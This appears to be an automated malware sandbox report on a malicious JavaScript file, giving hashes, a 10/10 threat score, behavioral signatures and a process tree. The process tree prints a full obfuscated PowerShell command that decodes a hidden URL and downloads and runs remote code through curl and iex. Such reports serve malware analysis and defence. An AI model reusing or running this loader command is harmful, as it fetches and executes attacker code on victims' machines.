Analysis
- max time kernel
971s - max time network
1233s - platform
windows10-2004_x64 - resource
win10v2004-20230621-en - resource tags
arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system - submitted
29/06/2023, 17:18
Static task
static1
Behavioral task
behavioral1
Sample
data_29_jun_2388946.js
Resource
win7-20230621-en
1 signatures
1800 seconds
Behavioral task
behavioral2
Sample
data_29_jun_2388946.js
Resource
win10v2004-20230621-en
5 signatures
1800 seconds
General
- Target data_29_jun_2388946.js
- Size 464KB
- Sample230629-vvn96aec94
- SHA256 45412b19ec9f4e29129960fa3f1fc4e0e9e7c0b181356dd49221813894887765
- MD5 eecbb881315dfa6bfb35b6a09f38a058
- SHA1 c1ec551e98adbb299b74687203fd1c9934ad68bb
- SHA512 a40f2ec40f42591e56d3eb17672fa59dea8cff8902081dfc6f9e1fb50a4f157f9ab12251916843fd66c1f398f3ec583147ca96c6a363db7da000e359050a506a
- SSDEEP 6144:GoFaGRQRQ4xrXFFduHHSfsvdIBWekF3+JZMvOW:3kkF7
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4376 3456 conhost.exe 25 - Blocklisted process makes network request 2 IoCs
flow pid Process 7 492 powershell.exe 9 492 powershell.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 492 powershell.exe 492 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 492 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4376 wrote to memory of 492 4376 conhost.exe 86 PID 4376 wrote to memory of 492 4376 conhost.exe 86
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\data_29_jun_2388946.js1⤵PID:3512
-
C:\Windows\system32\conhost.execonhost --headless powershell @(515,497,505,502,511,522,505,446,502,517,510,447,449,446,512,504,512,463,504,497,515,504,461)|foreach{$gepsdr=$gepsdr+[char]($_-400)};$dvfnik='l';$zsizv=$gepsdr; new-alias tixxs cur$dvfnik;.$([char](8892-8787)+'ex')(tixxs -useb "$guzzus$afizix$asidja$sfozos$zsizv")1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4376 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell @(515,497,505,502,511,522,505,446,502,517,510,447,449,446,512,504,512,463,504,497,515,504,461)|foreach{$gepsdr=$gepsdr+[char]($_-400)};$dvfnik='l';$zsizv=$gepsdr; new-alias tixxs cur$dvfnik;.$([char](8892-8787)+'ex')(tixxs -useb $guzzus$afizix$asidja$sfozos$zsizv)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:492
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c4pcbycx.gqb.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512